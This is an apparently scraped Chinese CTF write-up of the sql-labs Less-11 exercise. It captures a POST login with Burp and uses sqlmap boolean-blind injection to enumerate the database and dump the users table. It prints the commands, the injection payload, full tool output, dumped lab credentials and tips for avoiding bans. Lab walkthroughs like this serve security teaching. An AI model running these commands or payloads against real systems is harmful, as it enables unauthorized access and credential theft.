【CTF-WEB-SQL】SQL注入基本流程(sql-labs的Less11)(用burp抓取post然后用sqlmap盲注)

题目

从第11less开始,就是POST表单了
在这里插入图片描述

burp抓取数据包

在这里插入图片描述

将抓取到的数据包存放到桌面,保存为post.txt

在这里插入图片描述

数据包内容如下:


POST /Less-11/ HTTP/1.1
Host: 223.112.39.132:44537
Content-Length: 39
Cache-Control: max-age=0
Accept-Language: zh-CN,zh;q=0.9
Origin: http://223.112.39.132:44537
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://223.112.39.132:44537/Less-11/
Accept-Encoding: gzip, deflate, br
Cookie: td_cookie=3853948853
Connection: keep-aliveuname=admin&passwd=123456&submit=Submit

执行sqlmap查询当前数据库名称

sqlmap -r post.txt --batch --current-db --dbms=mysql --level=3 --risk=2 --technique=B

参数说明

  • batch:自动化模式,自动选择所有默认选项

  • dbms=mysql:明确目标数据库类型,显著加快检测速度

  • level=3:检测等级提升(包含Referer/Cookie等头部检测)

  • risk=2:中等风险注入技术(平衡成功率和触发WAF的风险)

  • technique=B:优先使用布尔盲注(对POST表单最有效)

  • flush-session:清除缓存确保全新检测

预期输出


┌──(kali㉿kali)-[~/Desktop]
└─$ sqlmap -r post.txt --batch --current-db --dbms=mysql --level=3 --risk=2 --technique=B_____H_____ ___[)]_____ ___ ___  {1.9.4#stable}
|_ -| . [(]     | .'| . |
|___|_  [)]_|_|_|__,|  _||_|V...       |_|   https://sqlmap.org[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program[*] starting @ 09:43:14 /2025-07-20/[09:43:14] [INFO] parsing HTTP request from 'post.txt'
[09:43:14] [INFO] testing connection to the target URL
[09:43:14] [INFO] checking if the target is protected by some kind of WAF/IPS
[09:43:15] [INFO] testing if the target URL content is stable
[09:43:15] [INFO] target URL content is stable
[09:43:15] [INFO] testing if POST parameter 'uname' is dynamic
[09:43:15] [WARNING] POST parameter 'uname' does not appear to be dynamic
[09:43:16] [INFO] heuristic (basic) test shows that POST parameter 'uname' might be injectable (possible DBMS: 'MySQL')
[09:43:16] [INFO] heuristic (XSS) test shows that POST parameter 'uname' might be vulnerable to cross-site scripting (XSS) attacks
[09:43:16] [INFO] testing for SQL injection on POST parameter 'uname'
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (3) and risk (2) values? [Y/n] Y
[09:43:16] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[09:43:18] [WARNING] reflective value(s) found and filtering out
[09:43:28] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause (subquery - comment)'
[09:43:35] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause (comment)'
[09:43:38] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[09:43:39] [INFO] testing 'Boolean-based blind - Parameter replace (DUAL)'
[09:43:39] [INFO] testing 'Boolean-based blind - Parameter replace (DUAL - original value)'
[09:43:39] [INFO] testing 'Boolean-based blind - Parameter replace (CASE)'
[09:43:39] [INFO] testing 'Boolean-based blind - Parameter replace (CASE - original value)'
[09:43:39] [INFO] testing 'HAVING boolean-based blind - WHERE, GROUP BY clause'
[09:43:48] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause (MySQL comment)'
[09:43:58] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (MySQL comment)'
[09:44:07] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)'
[09:44:11] [INFO] POST parameter 'uname' appears to be 'OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)' injectable (with --not-string="Your")
[09:44:11] [WARNING] in OR boolean-based injection cases, please consider usage of switch '--drop-set-cookie' if you experience any problems during data retrieval
[09:44:11] [INFO] checking if the injection point on POST parameter 'uname' is a false positive
POST parameter 'uname' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 263 HTTP(s) requests:
---
Parameter: uname (POST)Type: boolean-based blindTitle: OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)Payload: uname=admin%' OR NOT 3611=3611#&passwd=123456&submit=Submit
---
[09:44:15] [INFO] the back-end DBMS is MySQL
web application technology: Apache 2.4.23, PHP 5.6.28
back-end DBMS: MySQL (MariaDB fork)
[09:44:16] [INFO] fetching current database
[09:44:16] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[09:44:16] [INFO] retrieved: security
current database: 'security'
[09:44:29] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/223.112.39.132'[*] ending @ 09:44:29 /2025-07-20/

要获取 security 库中的表名和 users 表的数据,请使用以下完整指令:

获取 security 库的所有表名

sqlmap -r post.txt --batch --dbms=mysql -D security --tables

参数说明

  • -D security:指定目标数据库名称
  • --tables:列出数据库中的所有表

预期输出

┌──(kali㉿kali)-[~/Desktop]
└─$ sqlmap -r post.txt --batch --dbms=mysql -D security --tables_____H_____ ___[(]_____ ___ ___  {1.9.4#stable}
|_ -| . [(]     | .'| . |
|___|_  [)]_|_|_|__,|  _||_|V...       |_|   https://sqlmap.org[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program[*] starting @ 09:51:49 /2025-07-20/[09:51:49] [INFO] parsing HTTP request from 'post.txt'
[09:51:50] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: uname (POST)Type: boolean-based blindTitle: OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)Payload: uname=admin%' OR NOT 3611=3611#&passwd=123456&submit=Submit
---
[09:51:50] [INFO] testing MySQL
[09:51:50] [INFO] confirming MySQL
[09:51:50] [INFO] the back-end DBMS is MySQL
web application technology: Apache 2.4.23, PHP 5.6.28
back-end DBMS: MySQL >= 8.0.0 (MariaDB fork)
[09:51:50] [INFO] fetching tables for database: 'security'
[09:51:50] [INFO] fetching number of tables for database 'security'
[09:51:50] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[09:51:50] [INFO] retrieved: 4
[09:51:50] [INFO] retrieved: emails
[09:51:53] [INFO] retrieved: referers
[09:51:56] [INFO] retrieved: uagents
[09:51:59] [INFO] retrieved: users
Database: security
[4 tables]
+----------+
| emails   |
| referers |
| uagents  |
| users    |
+----------+[09:52:01] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/223.112.39.132'[*] ending @ 09:52:01 /2025-07-20/

获取 users 表的所有数据

sqlmap -r post.txt --batch --dbms=mysql -D security -T users --dump

参数说明

  • -T users:指定目标表名
  • --dump:导出整个表的数据

预期输出

┌──(kali㉿kali)-[~/Desktop]
└─$ sqlmap -r post.txt --batch --dbms=mysql -D security -T users --dump_____H_____ ___[.]_____ ___ ___  {1.9.4#stable}
|_ -| . [)]     | .'| . |
|___|_  [,]_|_|_|__,|  _||_|V...       |_|   https://sqlmap.org[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program[*] starting @ 09:52:03 /2025-07-20/[09:52:03] [INFO] parsing HTTP request from 'post.txt'
[09:52:03] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: uname (POST)Type: boolean-based blindTitle: OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)Payload: uname=admin%' OR NOT 3611=3611#&passwd=123456&submit=Submit
---
[09:52:03] [INFO] testing MySQL
[09:52:03] [INFO] confirming MySQL
[09:52:03] [INFO] the back-end DBMS is MySQL
web application technology: Apache 2.4.23, PHP 5.6.28
back-end DBMS: MySQL >= 8.0.0 (MariaDB fork)
[09:52:03] [INFO] fetching columns for table 'users' in database 'security'
[09:52:03] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[09:52:03] [INFO] retrieved: 3
[09:52:03] [INFO] retrieved: id
[09:52:04] [INFO] retrieved: username
[09:52:08] [INFO] retrieved: password
[09:52:11] [INFO] fetching entries for table 'users' in database 'security'
[09:52:11] [INFO] fetching number of entries for table 'users' in database 'security'
[09:52:11] [INFO] retrieved: 8
[09:52:11] [INFO] retrieved: 1
[09:52:11] [INFO] retrieved: Dumb
[09:52:13] [INFO] retrieved: Dumb
[09:52:15] [INFO] retrieved: 2
[09:52:16] [INFO] retrieved: I-kill-you
[09:52:20] [INFO] retrieved: Angelina
[09:52:23] [INFO] retrieved: 3
[09:52:24] [INFO] retrieved: p@ssword
[09:52:27] [INFO] retrieved: Dummy
[09:52:29] [INFO] retrieved: 4
[09:52:30] [INFO] retrieved: crappy
[09:52:32] [INFO] retrieved: secure
[09:52:35] [INFO] retrieved: 5
[09:52:35] [INFO] retrieved: stupidity
[09:52:39] [INFO] retrieved: stupid
[09:52:41] [INFO] retrieved: 6
[09:52:42] [INFO] retrieved: genious
[09:52:45] [INFO] retrieved: superman
[09:52:48] [INFO] retrieved: 7
[09:52:49] [INFO] retrieved: mob!le
[09:52:51] [INFO] retrieved: batman
[09:52:54] [INFO] retrieved: 8
[09:52:54] [INFO] retrieved: admin
[09:52:57] [INFO] retrieved: admin
Database: security
Table: users
[8 entries]
+----+------------+----------+
| id | password   | username |
+----+------------+----------+
| 1  | Dumb       | Dumb     |
| 2  | I-kill-you | Angelina |
| 3  | p@ssword   | Dummy    |
| 4  | crappy     | secure   |
| 5  | stupidity  | stupid   |
| 6  | genious    | superman |
| 7  | mob!le     | batman   |
| 8  | admin      | admin    |
+----+------------+----------+[09:52:59] [INFO] table '`security`.users' dumped to CSV file '/home/kali/.local/share/sqlmap/output/223.112.39.132/dump/security/users.csv'
[09:52:59] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/223.112.39.132'[*] ending @ 09:52:59 /2025-07-20/

分步获取(适合大表)

(1) 先获取表结构:

sqlmap -r post.txt --batch -D security -T users --columns

(2) 按需导出指定列:

sqlmap -r post.txt --batch -D security -T users \-C id,username,password \  # 指定要导出的列--dump

重要注意事项:

  1. 数据量较大时:添加 --limit=100 限制每次查询行数
  2. 避免被封禁:添加延时参数 --delay=2(2秒/请求)
  3. 结果保存:使用 --output-dir=report 生成完整报告
  4. HTTPS目标:在 Host 头后添加 :443 端口

Less11也可以使用sqlmap进行解决

在这里插入图片描述
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/news/917700.shtml
繁体地址,请注明出处:http://hk.pswp.cn/news/917700.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

WPF 与 Winform :Windows 桌面开发该用谁?

WPF 与 Winform :Windows 桌面开发该用谁? 一、 WPF 与 Winform的概念 WPF:颜值与实力并存的 “后起之秀” Winform:简单直接的 “老前辈” 二、WPF 与 Winform 的核心差异 1. 设计理念:分离 vs 耦合 2. 布局系统:灵活适配 vs 固定坐标 3. 视觉效果:绚丽动画 vs 朴素原生…

【Git学习】入门与基础

目录 Git的安装 Git 配置用户信息 Git 初始化本地仓库 Git 工作区、暂存区和版本库 Git 跟踪文件 Git 修改文件 Git 删除文件 Git 撤销本地文件的修改 Git 取消暂存 Git 跳过暂存区 Git 版本回退 Git 撤销提交 Git 设置忽略文件 Git 比较文件差异 Git 代码托管平台…

idea添加gitlab访问令牌

1.按下图所示顺序操作gitlab,获取到对应的token;2.填写对应的gitlab地址和第一步获取的token

人工智能领域、图欧科技、IMYAI智能助手2025年5月更新月报

2025年5月IMYAI平台技术动态与模型更新综述 摘要: 本文整理了2025年5月期间IMYAI平台发布的主要技术更新、新模型上线信息及功能调整公告,涵盖DeepSeek、Gemini、Claude、即梦、Suno等模型动态及平台功能优化。 正文: 一、 模型更新与上线Dee…

机器人权利:真实还是虚幻,机器人权利研究如何可能,道德权利与法律权利

一、机器人权利:真实还是虚幻?机器人权利的讨论源于技术进步对传统法律与伦理体系的冲击,其真实性取决于技术发展阶段与社会接受度的互动。当前,机器人权利仍呈现“虚幻与真实交织”的特征:技术基础:从工具…

通信小白产品学习碎片01

1. 云中继(Cloud Media Relay) 运营商在Volte/Vonr场景中引入的核心网关键功能,用于优化媒体流的传输路径,解决跨运营商、跨地域通信时的网络绕行问题。 传统:A终端—>A核心网—>跨网互联点—>B核心网—>…

⭐CVPR2025 3D 生成新框架|Kiss3DGen 让 2D 扩散模型玩转 3D 资产生成

⭐CVPR 3D 生成新框架|Kiss3DGen 让 2D 扩散模型玩转 3D 资产生成 📄论文题目:Kiss3DGen: Repurposing Image Diffusion Models for 3D Asset Generation ✍️作者及机构:Jiantao Lin、Xin Yang、Meixi Chen 等(HKUST …

HTTP基本结构

目录前言1. 概念2. HTTP基本格式2.1 抓包原理2.2 抓包软件使用2.3 抓包结果3. HTTP请求3.1 URL3.2 方法3.3 版本号3.4 HTTP报头3.4 正文部分4. HTTP响应4.1 HTTP状态码4.2 其他部分总结前言 本篇文章介绍HTTP的基本结构。 1. 概念 HTTP全称为超文本传输协议,是一…

CVPR优秀论文 | DashGaussian:在200秒内优化三维高斯点绘制

本文选自gongzhonghao【图灵学术SCI论文辅导】关注我们,掌握更多顶会顶刊发文资讯1.导读1.1 论文基本信息论文标题:DashGaussian: Optimizing 3D Gaussian Splatting in 200 Seconds作者:Youyu Chen、Junjun Jiang、Kui Jiang、Xiao Tang、Zh…

知识蒸馏 - 基于KL散度的知识蒸馏 HelloWorld 示例 采用PyTorch 内置函数F.kl_div的实现方式

知识蒸馏 - 基于KL散度的知识蒸馏 HelloWorld 示例 采用PyTorch 内置函数F.kl_div的实现方式 flyfish kl_div 是 Kullback-Leibler Divergence的英文缩写。 其中,KL 对应提出该概念的两位学者(Kullback 和 Leibler)的姓氏首字母“div”是 div…

C语言基础_补充知识、数据类型转换、选择结构

0、补充知识: 原码、反码、补码的知识: 计算机中原码转补码,正数不变,负数是符号位不变,其余各位取反码加一。负数的补码转原码应该是补码减一然后再取反,为什么负数的补码转原码是补码取反然后再加一&…

ubuntu自动重启BUG排查指南

当 Ubuntu 系统意外重启时,排查原因需要从系统日志、硬件状态和定时任务等多个方面入手。 示例:通过日志检查重启原因 last -x | head | tac 此命令显示最近的关机和重启记录。如果记录中包含 shutdown 或 crash,则可能是人为操作或系统故障导…

2. JS 有哪些数据类型

总结 基础类型(7 种):number, string, boolean, null, undefined, symbol, bigint引用类型(对象及其子类):object, array, function, date, regexp, map, set 等 判断方式推荐: 基础类型&#x…

pipeline方法关系抽取--课堂笔记

Pipeline方法课堂笔记 一、Pipeline方法原理 pipeline方法是指在实体识别已经完成的基础上再进行实体之间关系的抽取. pipeline方法流程: 先对输入的句子进行实体抽取,将识别出的实体分别组合;然后再进行关系分类. 注意:这两个子过…

linux系统离线环境安装clickhouse客户端

1、下载离线安装包: 方式1:网站直接下载 链接:https://packagecloud.io/altinity/clickhouse 注意要下载同一版本的四个包 方式2:夸克网盘分享 链接:https://pan.quark.cn/s/7e77e6a1bc5f 2、将本地下载的安装包上传…

GPT-5的诞生之痛:AI帝国的现实危机

目录 前言 一、“俄里翁”的陨落:一场梦碎的代际飞跃 二、扎克伯格的“抄家式”突袭 三、天才的诅咒:当AI聪明到无法与我们对话 四、烧钱的无底洞与微软的影子 结语:AI帝国的黄昏,还是黎明前的黑暗? &#x1f3a…

探索设计模式的宝库:Java-Design-Patterns

在软件开发领域,设计模式是解决常见问题的经典方案,它们如同建筑师的蓝图,为开发者提供了经过验证的最佳实践。今天我要向大家介绍一个GitHub上的明星项目——java-design-patterns,这是一个全面、实用且持续更新的设计模式宝藏项…

JavaScript中的作用域、闭包、定时器 由浅入深

1. JavaScript中的作用域是什么? 作用域(Scope)是程序中定义变量的区域,它决定了变量的可访问性(可见性)。在JavaScript中,作用域主要分为三种:全局作用域、函数作用域和块级作用域&…

仓库管理系统-11-前端之头部区域Header的用户登录和退出功能

文章目录 1 登录功能 1.1 登录页面(Login.vue) 1.1.1 页面布局 1.1.2 初始化数据 1.1.3 confirm方法 1.1.4 UserController.java(登录接口) 1.1.5 Login.vue 1.2 登录页面的路由 1.2.1 创建路由文件(router/index.js) 1.2.2 注册路由器(main.js) 1.2.3 路由视图(App.vue) 2 退出…

【VLNs篇】07:NavRL—在动态环境中学习安全飞行

项目内容论文标题NavRL: 在动态环境中学习安全飞行 (NavRL: Learning Safe Flight in Dynamic Environments)核心问题解决无人机在包含静态和动态障碍物的复杂环境中进行安全、高效自主导航的挑战,克服传统方法和现有强化学习方法的局限性。核心算法基于近端策略优化…